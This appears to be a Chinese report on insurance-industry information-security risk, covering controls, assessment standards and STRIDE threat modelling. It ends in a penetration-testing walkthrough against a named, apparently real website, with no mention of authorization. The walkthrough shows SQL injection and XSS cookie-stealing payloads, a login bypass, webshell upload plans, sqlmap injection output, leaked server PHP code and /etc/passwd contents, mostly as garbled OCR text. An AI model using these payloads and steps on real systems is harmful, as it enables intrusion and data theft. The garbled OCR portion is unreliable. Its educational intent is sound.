应对“非工作”时空风险，则需要统筹网上网下两个空间，统筹工作与非工作两个时空，做好网上网下、工作与工作时空资源配置协同。推进信息化基础设施“多中心多活”结构化布局，保障信息系统稳定、不间断运行；应对外网服务风险。强化信息安全保障体系，做好“防攻、防断、防改、防漏、防毒”的五防工作。
应对技术架构风险，需要推进信息系统分布式架构升级，加快推进分布式计算、分布式存储、分布式数据库、分布式核心系统的升级换代等。
应对自动化作业风险，则需要对资金收付、电子保单签发、电子发票生成的“快风险”和致命风险，在难以依赖人工校验的情况下，实施“双工校验”机制。利用数据可复制这一特性，采用2个独立团队分别开发相同业务需求的应用软件，将两个分别独立开发的应用软件所产的结果进行逐条自动比对，结果一致则放行，反之则重新评估检查；应对自动化运维可能导致大面积故障的风险，可采取灰度发布、故障快速自愈机制。
应对外部合作风险，一方面在对外合作中加强合同条款的信息安全保障；另一方面可建立“白名单”机制，外部系统产生单证等关键信息要在保险公司内部登记，进行白名单管理；也可建立“内外握手”机制，相关内容需求保险公司后台比对验证通过后放行。
应对公有云服务产生的数据资产风险，需要建立公有云服务评估审批机制和数据回传机制。
应对数字化互联互通风险，应抓紧分布式架构优化升级，构建信息系统“水密舱”，确保不发生大面积停机。制定互联互通技术接口与安全规范，防范风险病毒性、即时性、穿透性传导。


[bookmark: _Toc532983529]4.3 数字化生态下的风险管控体系思考
关注数字化模式升级痛点，设计针对性解决方案。加强数字化基础能力建设，抓住实名制身份认证和保险客户账户管理的核心要害，认证管入口，账户管出口，解决保险诚信全流程、穿透式维护痛点。利用第三方电子保单认证机制和区块链新技术，解决保险供需双方行为“可信任”机制痛点。全面升级分布式技术架构，化解集中式技术架构风险高度集中痛点。充分利用合同条款，解决违法违规止损、补偿和托底痛点。
统筹网上网下风险管控，构筑数字与实体防火墙。抓住支付与现场服务核心环节，控制网上网下风险交叉传播。
探索数字化风险保险制度，研发数据风险保障产品。针对数字化可能产品的差错、攻击、渗透、泄漏、篡改、病毒、停机、断网、延迟等新型风险，设计保险保障产品，为数字化转型保驾护航。
建立数字化风险共享机制，强化联防联处协同。建立监管、行业、企业数字化风险共享机制，形成统一高效的风险报告、信息共享、风险处置体系。
加强数字化风险侦测预警，研发风险监控平台。建立数据化风险监控平台，利用大数据、人工智能技术对数字化风险信息进行分析和洞察，提前预警数字化风险。
完善数字化风险应急预案，加强应急实战演练。研发分级分类数字化风险应急处置预案。并组有计划性的演练和无预警实战演练。
[bookmark: _Toc532983530]4.4 保险业的信息安全风险评估
“风险、受众、概率、标准”是保险的基础。其中最重要的就是风险，保险的一切根基就是风险，它是分摊意外事故的财务模式，是国家经济保障制度的重要组成部分；而其他的受众面、风险发生概率和赔付标准（或称事故评估），只是其经济性运行的一些必要因素，毕竟保险业也是需要以盈利为目的。
因此，保险业需要信息安全的漏洞分析与风险评估。如果说疾病保险面向的是个人的健康，那么信息安全风险评估的受众就是信息系统，评估的对象就是可以被利用的漏洞。信息安全对抗的风险就是网络攻击、病毒、蠕虫等等，就像体检机构，可以评估人们的亚健康风险。
4.4.1 传统风险评估
传统的风险评估或者是叫测评，是以资产为核心要素的，大致分为四大步骤。一是资产识别；二是威胁识别，包括威胁的分类和赋值；三是确认已有安全措施；四是风险分析，包括记录、计算和形成报告。主要的操作方法也包括被评估方提供证明材料并审计、实体设备抽样检查、人员访谈、网络扫描和渗透测试等。
因为风险评估是以资产为核心要素，所以评估工作所面临的是一张庞大的网络拓扑（图2），包括外网环境、内网环境、涉密隔离环境等，这就包括数以百计千计的计算机、服务器、网络设备等等，同时还会有很多的员工、外协公司等一切相关的人员。而每一个点都可能包括7个层次的评估目标：硬件、BIOS、底层协议栈、操作系统、中间件或是通用服务框架、通信协议、自编程软件。总和下来，一次全面的风险评估是一个机极其庞大的工程量，而且有数十计的风险评估标准（表1）、等级保护使得一个风险评估过程十分复杂，况且不说被评估方有很多涉密、高端的系统，不希望被测试。
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图2：网络拓扑

表1：信息安全风险评估标准
	编号
	名称

	GB/T 20274.1—2006
	《信息安全技术 信息系统安全保障评估框架 第1部分：简介和一般模型》

	GB/T 20274.2—2008
	《信息安全技术 信息系统安全保障评估框架 第2部分：技术保障》

	GB/T 20274.3—2008
	《信息安全技术 信息系统安全保障评估框架 第3部分：管理保障》

	GB/T 20274.4—2008
	《信息安全技术 信息系统安全保障评估框架 第4部分：工程保障》

	GB/T 22239-2008
	《信息安全技术 信息系统安全等级保护基本要求》

	GB/T 22240-2008
	《信息安全技术 信息系统安全等级保护定级指南》

	GB/T 25058-2010
	《信息安全技术 信息系统安全等级保护实施指南》、《信息系统安全等级保护测评要求》、《信息系统安全等级保护测评过程指南》

	GB/T 20984-2007
	《信息安全技术 信息安全风险评估规范》

	GB/T 31509-2015
	《信息安全技术 信息安全风险评估实施指南》



4.4.2 保险行业特色的风险评估
传统的通用的风险评估并不完全适用于保险行业，况且保险业大多数都是人工操作，而且有严格审计，信息化更多的是辅助和统计，这套风险评估方法不适合。保险行业的信息安全痛点，既不在于设备、也不在于单个用户的数据，而是“总数据”。
既然通用风险评估方法并不能适用于所有行业，那么如何建立保险行业的风险评估呢？国家网安法支持建立自己行业标准和建立适用于自身的风险评估。
保险行业的主要对象是“总数据”，那么以资产为目标的测评体系显然不适合，以“数据流”为目标的测评体系可能会更适应一些。这种体系的核心技术主要来自于微软提出的一种威胁建模模式，是“软件安全开发生命周期”中的一种，他主要以面向业务为核心，只有三种对象：一是角色，如用户、管理员、经理等；二是应用设备，如WEB网站等；三是数据库，即数据汇总存储。根据对象之间的通信请求、响应形成数据流动模型，并在每个流动的部分，分析潜在的安全隐患，分别是：仿冒（Spoofing）、篡改（Tampering）、抵赖（Repudiation）、信息泄露（Information Disclosure）、拒绝服务（Denial of Service）、越权（Elevation of Privilege），缩写总称为S.T.R.I.D.E.（图2），每种隐患都有较为成熟的防护和加固建议。微软官方称这种分析可以杜绝绝大部分的安全隐患，虽然言过其词，但从实践效果来看还是不错的。
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图3：S.T.R.I.D.E.
这个风险评估更像是抛开了被测方的建设状况，直接从业务设计角度回答了系统应该如何开发。确实，这种模式一般是先验证什么是对的，然后再验证错在哪儿，毕竟保险行业的信息系统庞大但不复杂，这种模式更贴近业务和逻辑，又被称为面向业务流的风险评估。之后的风险评估操作相比传统可以大大简化。面向此“数据流”模型，分为如下五个主要部分。
第一，通用硬件或软件。可概括为一句话：“打补丁、及时打补丁、第一时间打补丁”。也就是建立跟踪机制，随时发现需要安装和更新的补丁；并建立扫描机制，不定期或定期扫描，确保补丁处于及时更新状态。这个也许是老生常谈，也没什么技术含量，但却是解决绝大部分安全隐患的首要方式，也是评估工作中最繁琐的部分。我们常见的重大安全事件，如STRUTS2、WANNACRY勒索等等就都可以得到防范。
第二，对于自编程软件部分，如网站、统计系统等等，对此风险评估应该作为重中之重执行。主要包括的是源代码审计，即白盒测试；某些场合不方便提供源代码时，会用到黑盒测试。无论黑盒白盒，测试主要会面向三个部分，一是功能符合性测试，即验证安全设计部分是否能够真的发挥作用，或存在纰漏；二是意外流程处理的测试方法，这个极为重要，目前我们听到的主要网页入侵方式，如SQL注入、跨站脚本等，都是由于没有考虑到意外流程而造成，并没有那么复杂；三是漏洞挖掘，主要针对二进制分析和逆向分析等。
第三，配置和运维的评估。这个是最容易被忽略的问题，我们常说的弱口令问题等等，此类需要通过审计来完成。简而言之，就是不该开放的服务关闭掉，该打开的安全配置、日志打开，这些只能人工检查；此外，还包括面向数据流通性的检查，主要是网络可用性的问题，如网络划分、设备性能等。从我个人来说，安全必须是为业务可用性而服务的，不能给业务增加负担，因此测评工作必须以业务出发，易用性、可用性和安全性兼顾。
第四，人员安全与业务流程安全评估。在传统中主要是指人员的入职离岗审核、制度、安全意识培训，但真正的核心部分大多数传统评估都没考虑到，是流程的审核，是关注在访问数据是否可以被越权访问，包括加密方式、强度、访问控制等等。很多场景下，企业公司的数据是被未加密直接存放在数据库里，系统运维人员可以直接看到全部数据，这样全数据的暴露风险就是不可控的。
第五，持续渗透测试和监控。渗透测试是指在授权和可控前提下，对目标进行攻击性测试。这个是与传统风险评估一致的，因为安全是一个持续的事，包括有新的设备、系统、功能等上线，社会也会不断有新的攻击方式发布，对互联网开放的系统持续渗透测试和监控，当然还包括很多自身无法控制的部分，比如DNS解析问题、仿冒钓鱼网站问题等，都需要持续监控。
这种数据评估方式不像传统风险评估，围绕资产而出发，由资产上升业务，相反是以业务为起点，直接面向核心数据安全的，这样才更符合保险的行业特点。
4.4.3 保险行业的风险评估V2.0
符合行业特色的信息安全风险评估还有很多发展空间，或者叫风险评估2.0，其中一个重要的方向就是——个人隐私。
现今社会个人隐私信息泄露严重。我们每个人都会接到无数的推销电话。有推销家政服务的、海外代购奶粉的、早教中心的等等，当然还有各种种类卖保险的。他们定位准确，时机适合，直击用户需要，不得不让人感叹：“我的信息又被卖了。”
隐私必将是一个趋势，也越来越受到民众的关注。国家更是将其纳入发展战略之中，《网络安全法》中明确提出了关于隐私的法律责任，同时《最高人民法院、最高人民检察院关于办理侵犯公民个人信息刑事案件适用法律若干问题的解释》也随之给于了部分司法解释，而且在十九大中，定制《中华人民共和国网络隐私保护法》在时隔九年之后再次提上工作日程。
隐私就是来自于不同企业公司、政府机关的个人数据，但是必须看清的现实是，《财经》杂志公布数据黑产调查结果，80％的数据泄露自企业内鬼，黑客仅占20％。而这些数据，或者说是隐私数据的价值，从个人来说，可以勾勒你的行为；从群体来说，可以分析和预测动向；从国家来说，可以预测国家策略，影响国家命运。所以，小小的定向广告、骚扰电话，只是一种小的不能再小的危害。目前我国有数千TB的数据在黑产中流通，不同程度涉及到我国几乎所有网民。因此隐私安全必将是国家趋势。
当然，隐私这个问题一直是个悖论，没有好的办法可以证明数据的使用去向，比如：“微软收集了用户这么多数据，怎么证明他们没交给CIA？”但是从一些研究和实践中，还是可以发现一些出路的，比如参考“征信”的实践模式，即虽不能证明安全，但可以通过公布评估内容提供给用户信心。
如：通过外部渗透测试，证明外界无法取得数据；通过内部风险评估，证明内部无法获得完整数据，并造成外泄；通过流程合法性评估和审计，确保使用数据时征得用户同意；通过流程合法性评估，能让民众清晰认知企业公司违规时的法律责任。
当然还包括向用户提供用户信息泄露的提醒服务，这样可以增加用户的信赖感。当然，这种用户隐私服务对于公司来说受限于法律因素，需要联合国家职能测评机构来开展。
4.4.4 风险评估+
在“互联网+”的潮流中，我们也总结出“风险评估+”。一是，风险评估应该不仅是体检，而是企业的一张“名片”，是对安全建设良好的企业的一种宣传，起到模范作用，更是增加用户安全信心的手段；二是，风险评估不仅仅是在增强自身内部安全方面体现价值，同时在面对“网络安全保险”、人工智能、无人驾驶等这一类新兴事物中，也需要对投保对象，即信息系统进行风险评估。
[bookmark: _Toc532983531]4.5 渗透测试
4.5.1 什么是渗透测试
渗透测试是指安全工程师尽可能完整地模拟黑客使用的漏洞发现技术和攻击手段，从攻击者的角度对目标网络、系统、主机应用的安全性作深入的非破坏性的探测，发现系统最脆弱环节的过程。
渗透测试还具有的两个显著特点是：渗透测试是一个渐进的并且逐步深入的过程。渗透测试是选择不影响业务系统正常运行的攻击方法进行的测试。
4.5.2 为什么要做渗透测试
作为网络安全防范的一种新技术，渗透测试对于网络安全组织具有实际应用价值。
渗透测试，是为了证明网络防御按照预期计划正常运行而提供的一种机制。不妨假设，企业定期更新安全策略和程序，时时给系统打补丁，并采用了漏洞扫描器等工具，以确保所有补丁都已打上。如果企业早已做到了这些，为什么还要请外方进行审查或渗透测试呢？因为，渗透测试能够独立地检查企业的网络策略，也就是给企业的系统安了一双眼睛。而且，进行这类测试的，都是寻找网络系统安全漏洞的专业人士。
4.5.3 渗透测试的一般流程
渗透测试的方法包括黑盒测试（对目标一无所知，最初的信息均来自公开搜集）、白盒测试（通过正规渠道向被测单位获取相关的各种资料，比如网络拓扑、员工资料及系统代码等，可与员工进行交流沟通，模拟内部员工提权）和灰盒测试。
渗透测试的一般流程包括：目标发现（定位目标的网络状态、操作系统和相对网络架构），目标枚举（找出目标系统中所有开放的端口；相关目标收集），信息收集，漏洞映射（发掘），社会工程，漏洞利用，提升权限，扩大成果、维持访问，清理痕迹，文档和报告等。
这里的渗透测试流程指的是常规渗透测试（系统和应用的），也有一些有针对性的渗透测试流程，比如网银客户端的渗透测试流程（或者测试内容）就有比较大的差别，包括键盘钩子测试，客户端完整性测试、内存读取、屏幕截图及录像和截发包测试等等。
如何进行渗透测试，我们除了需要了解流程外，更需要理清思路。因此，通过对一个真实的目标进行渗透，来理解整个渗透测试流程。域名：www.xxculturalpark.org
4.5.3.1 信息收集
信息收集的目的是扩大攻击面。
1. 目标IP、域名信息（C段查询、旁注查询）的收集
工具1：Ping 
作用：反查IP；判定目标存活；模糊判定目标防护程度；TTL模糊判定OS类型
[image: ]
    TTL表示生存时间，不同操作系统会有默认的值，但可以修改。TTL表示包在被丢弃前最多能经过的路由器个数。PING命令时可以用-i参数指定TTL值，可将TTL设置为0，则该包将被立即丢弃。UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255；Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64；微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128；微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32。
工具2：Whois 
Whois收集的管理员名称、电话、单位、信箱、地址等都是我们需要的信息。
作用：判定目标所涉IP范围；域名管理者信息 
方法：http://www.apnic.net/
http://whoissoft.com/ 
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工具3：DNS查询 
作用：域名DNS服务器信息；尝试区域传送
区域传送（zone transfer）操作指的是一台后备服务器使用来自主服务器的数据刷新自己的zone数据库；一般来说，DNS区域传送操作只在网络里真的有后备域名DNS服务器时才有必要执行，但许多DNS服务器却被错误地配置成只要有人发出请求，就会向对方提供一个zone数据库的拷贝。域名传送可以获取企业内部其他的站点信息，扩大攻击面。
方法：nslookup
BT5:dnsenum, dnswalk…
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nslookup的使用方法：
Server 8.8.8.8：设置DNS查询服务器 
Set qt=ns：查询名字服务器记录，其他的包括:a,mx 
server ens1.net-chinese.com.tw，ls –d：查询其DNS服务器的上的目标域名信息。
工具4：旁注查询 
旁注即从旁注入，利用同一主机上面不同网站的漏洞得到webshell，从而利用主机上的程序或者是服务所暴露的用户所在的物理路径进行入侵。
作用：扩大攻击面，殊途同归
方法：http://ip.wen.la/
          http://ip.chaxun.la/
部分注入工具
工具5：C段查询
对whois查询确定的目标所涉及的IP段进行一个web探测。旁注查询与C段查询是每次必做的工作，对我们对当前目标无有效手段（如主页就一个登录页面），扩大攻击面帮助很大。
作用：扩大攻击面，绕道而行
方法：http://c.wlan.im/
快速的端口扫描工具：fscan,scanline等
2. 端口（服务）信息收集
试想为何做渗透的每一个人都会去做端口扫描？目标是一个大房子，我们要进去。但墙体很硬，我们只能去踹大门和窗户。已知的80web服务是一道大门，但我们不能忘记它还有很多小门(web服务443,8080,7001,..)，很多窗户(21,22,23,139,445,1433,1521,3306,3389,...)。旁注查询和C段查询就是为了找到与我们目标这个大房子相同或者相连的其他大房子。端口扫描就是要知道目标有几道门、几扇窗，使下一步的漏洞映射更具针对性。
端口扫描工具包括：nmap和快速扫描工具fscan,scanline。
手动验证扫描结果：telnet  xx.xx.xx.xx  xxxx
Nmap不仅可以较高准确率探测它有几道门几扇窗，还能探测这座房子以及大门窗户的使用材料（os类型，服务软件banner信息等），甚至哪些大门或窗户在篱笆或者围墙（防火墙）之内，哪些又在其之外！除了踹开，还可以拿钥匙（用户名密码）打开。
端口（服务）信息的内容包括：
（1）系统OS类型、版本
（2）系统开放了哪些应用层服务，服务的server类型、版本等banner信息
（3）系统安全防护（IPS,WAF,FW等）状况
（4）Web 服务的server类型、HTTP方法、脚本语言、数据库等的类型、版本等信息
手工探测的一些技巧包括：通过修改URL中目录的大小写判断Win还是unix；firebug判定web server类型版本；对动态URL输入特殊字符报错探测SQL类型等等。
3. Web应用程序信息收集
Web应用程序信息内容包括：
（1）服务器console、管理后台、上传等重要目录
（2）网页编辑器
（3）CMS（通用or独立开发）
（4）网站物理路径
信息收集方法包括：
（1）充分熟悉目标站点内容
（2）目录遍历工具：AppScan、AWVS等
（3）目录暴力扫描：wwwscan、Pangolin Admin Page Tools等
（4）Google search
（5）错误页面
[image: ]
目录遍历不在于工具如何强大，而在于使用的目录库是否全面、针对性。有几个常用技巧，手工探测常见重要目录；robots文件；图片的URL地址往往能暴露其后台地址。工具探测的缺点是，留下大量的痕迹。
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4. 公开信息收集
通过搜索引擎搜集目标站点的公开信息。内容包括：
（1）企业或单位信息
（2）管理员或员工信息（email、电话、生日等）
最后，进行信息收集的总结，即整理所收集到的目标信息。可进行会员注册。
4.5.3.2 漏洞映射
不同的漏洞类型会造成不同的系统缺陷。SQL注入、上传/下载漏洞、XSS漏洞（Cookie窃取）、访问控制漏洞会造成Web功能实现缺陷；弱口令漏洞、Server/中间件配置漏洞、编辑器漏洞、CMS漏洞会造成Web配置管理缺陷；弱口令漏洞、系统及服务软件漏洞则会造成系统（服务）通用缺陷。
1. 漏洞映射—SQL注入
检测页面是否存在SQL注入。
方法一：
and 1=1	返回正常页面
and 1=2	返回错误页面
方法二：
order by  n-1	返回正常页面	
order by n	返回错误页面
确认存在注入漏洞：获取数据库版本、用户名、数据库名：
union select version(),user(),database(),……
[image: ]
[image: ]
2. 漏洞映射—上传、下载漏洞
检测下载页面（链接）是否存在漏洞：
URL:http://www.xxculturalpark.org/download/xx.zip
静态下载，未发现漏洞
检测上传页面（链接）是否存在漏洞；
通过信息收集未找到上传链接
3. 漏洞映射—XSS漏洞
检测站点页面是否存在XSS漏洞：
所有可能的用户输入
“><script>alert(document.cookie)</script>
[image: ]
4. 漏洞映射—访问控制漏洞
检测站点是否存在访问控制漏洞：
· 匿名用户访问需要后台管理员权限相关页面
· 匿名用户访问需要会员权限相关页面
· 会员用户访问需要后台管理员权限相关页面
· 会员、后台登录绕过，直接获得会员用户、后台管理员权限
· 无法直接通过匿名或会员用户访问后台相关页面 
[image: ]
    后台及会员登录可绕过 
[image: ]
5. 漏洞映射—其他漏洞
Web配置管理缺陷：
没有使用成熟的CMS信息，编辑器，server管理控制台。
系统（服务）通用缺陷：
仅开放了80，无法尝试系统服务方面的漏洞。
4.5.3.3 漏洞利用
根据发现的漏洞，利用路径：
A. SQL注入漏洞
获取数据库相关信息
暴库，获取后台登录的管理员用户名和密码
· 通过管理后台尝试上传webshell；
· 通过SQL注入漏洞尝试读取/写入文件，获得webshell
B. 后台绕过漏洞
绕过登录，确认后台登录用户的权限，尝试上传webshell
总结下来，有两个途径：
· 通过后台突破上传获取webshell;
· 直接通过sql注入漏洞获取webshell

1. 获取后台管理员密码
[image: ]
2. 通过后台直接上传webshell
直接上传php文件 
结果：1.提示上传成功，但图片显示为通用图片，上传路径及文件名未知；2.上传过程中出现报错信息。 
读取上传相关的代码，可通过报错信息获得物理路径。
[image: ]
3. 读取系统文件
读取负责上传的代码文件：publish_add.php 
[image: ]
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还可以读取哪些系统文件？ 
[image: ]
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culturalpark.org [WMNE.204.101]1 with 32 bytes of dat

Ping statistics for EeNs.204.101:
Packets:

Sent

= 4, Received = B, Lost = 4 (188x loss).
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1942: wemESmenCulturalpark.org TP} : SEMNMRB04.101
Google PageRar

ap@sshme culturalpark.org & WHOISE S R 1

Domain 1D:D162718056-LROR
Domain Name ICULTURALPARK.ORG
Created On:06-Jul-2011 11:12:43 UTC

Last Updated On:05-Sep-2011 03:49:21 UTC

Expiration Date:06-1ul-2014 11:12:43 UTC

‘Sponsoring Registrar:Net-Chinese Co. Ltd. (R1573-LROR)

Registrant Street3:
Registrant City:Taipei
Registrant State/Province:Taiwan

Registrant FAX EZ
Registrant Ema
‘Admin ID:NETC-
‘Admin Name:Admin Netc

‘Admin Organization:Net-Chinese Co., Ltd.

‘Admin Street1:11Fl.-5, Number 57, Sec. 1, Duenhua S. Rd., Sungshan Chiu
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b.resolvers.Level?.net

google-public-dns—a.google.con

> set qt=ns
> aculturalpark.org

[server: google-public-dns-a.google.con
pddress: 8.8.8.8

[Non-authoritative ansuer:

-anculturalpark.org nameserver = ens2.net-chinese.con. tw
~sculturalpark.org nameserver = ensi.net-chinese.con.tw
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> server ensi.net-chinese.com.tw
Default Server: ensi.net-chinese.com.tu
pddress: 202.153.205.73

> 1s -4 .. h..culturalpark.org

Lensi.net—chinese.com. tul

woc Can’t list domain . ., ..culturalpark.org: Query refused

The DNS server refused to transfer the zone . - .. culturalpark.org to your com
puter. 1f this

ic incorrect, check the zone transfer security settings for «.culturalpark

-org on the DNS
server at IP address 262.153.205.73.
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[89:14:231 [INFO] target url appears to have 13 columns in query

[89:14:441 [INFO1 GET parameter *id’ is ’MySQL UNION query (NULL> - 1 to 20 colu
nns’ injectable

GET parameter ’id’ is vulnerable. Do you want to keep testing the others Cif any
>? [y/N1 n

sqlnap identified the following injection points with a total of 36 HITPCs) requ
osts:

Place: GET
Parameter: id
Type: boolean-hased blind
Title: AND hoolean-hased blind — WHERE or HAUING clause
Payload: id=181 AND 1456-1456

Type: error-hased
Title: MySQL >= 5.8 AND error-based — UHERE or HAUING clause
Payload: id=161 AND (SELECT 6024 FROMCSELECT COUNT(x>,CONCAT(Bx3a6662793a, (S
ELECT <CASE WHEN (6024=6824) THEN 1 ELSE @ END>,0x3a6261733a, FLOORCRAND(E)2>)x
FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY >>a>

Type: UNION query

Title: MySQL UNION query CNULL) - 13 columns

Payload: id=-2723 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL, NULL,NULL,NULL, N
ULL, NULL, CONCAT (03266627932, Bx664£ 7979554d436a4561 , Bx3a6261733a) , NULL, NULLH

[89:14:481 [INFOI the back-end DBMS is MySQL
veh application technology: PHP 5.3.2, Apache 2.2.15
back-end DBMS: MySQL 5.8
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ralpark. org/storypas
EW #Hw

<meta name="keywords” content=" <?
include ("inc/dbh.php”);

if ($_POST[ confirm’] != ”7) {
$type = $_POSTL type’];
$title = $_POST[ title’1;
$link = $_POST[ link’];
$on_start = §_POST[" on_start’];
$on_end = $_POST[ on_end’ 1;
$content = §_POST[ content’ 1;
$isPublished = §_POST[’ isPublished’ I1;
$isIndex = $_POST[ isIndex’];
$summary = $_POST[" summary’ 1;

$UploadFfile = $_FILES["pic”][’ name’1;
$UploadFileTmp = $_FILES["pic”]1[’ twp_name’];
if ($Uploadfile != "7) {

$file = explode(”.”, $UploadFile);

$ext = $filelcount ($file)-11;

$IngSize = GetImageSize ($UploadFileTmp);
$IngRidth = $ImgSize[0];
$IngHeight = $ImgSizelll;
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$TngSize = GetlmageSize ($UploadFileTump);
$IngRidth = $ImgSize[0];
$IngHeight = $ImgSizelll;

}

if ($type 77y $Msg = THEHEAREER)
elseif ($title == *”) $Wsg = "WBEANTES ~
elseif ($on_start == **) $Wsg = “BEATIBRIGEME) ~;
elseif ($on_end ”) $ksg = TEEATIBLCREE) 7
elseif ($content == ") $ksg = "WHPADEAL ~.
elseif ($UploadFile == "*) $sg = "HEHEE LENEM ~;
else {
if (wb_strlen($type, “UTF-8") > 4) $type = mb_substr (§type, 0, 4, “UTF-8")
if (mb_strlen($title, "UIF-8") > 30) $title = mb_substr($title, 0, 30, “UTF-8")

$sql = “insert into tcic news (type, title, link, on_start, on_end, content, isPul
frs = §db->query (§sal);

if (tfrs) {

, $llsz = "FHEEREAEXK

else [
$id = §db->insert_id();
fpicFile = strtolower ("news_”. $id.”. " fext);

if (im_ad resize(§UploadfileTnp, “upload/”, $picFile, 300)) {
$sal = “update tcic_news set pic = “$picFile’ where id = $id";
$db->query ($sql) ;

1
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2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/varfadm:/sbin
:x:4:7:Ip:fvar/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:
/binfsync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail
fsbin/nologin news :13:news:fetc/news: uucp:x:10:14:uuc
fuucp:fsbinfnologin operator:x:11:0:operator:/root:/sbin/nologin
2:100:games:/usr/games:/sbin/nologin
3:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP
User:/varfftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
distcache:x:94:94:Distcache:/: in/nologin vcsa:x:69:69:virtual console
memory owner:/dev:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin
7:77::/varfarpwatch:/sbin/nologin dbus: 1:81:System
70:70:Avahi daemon:/:/sbin/nologin
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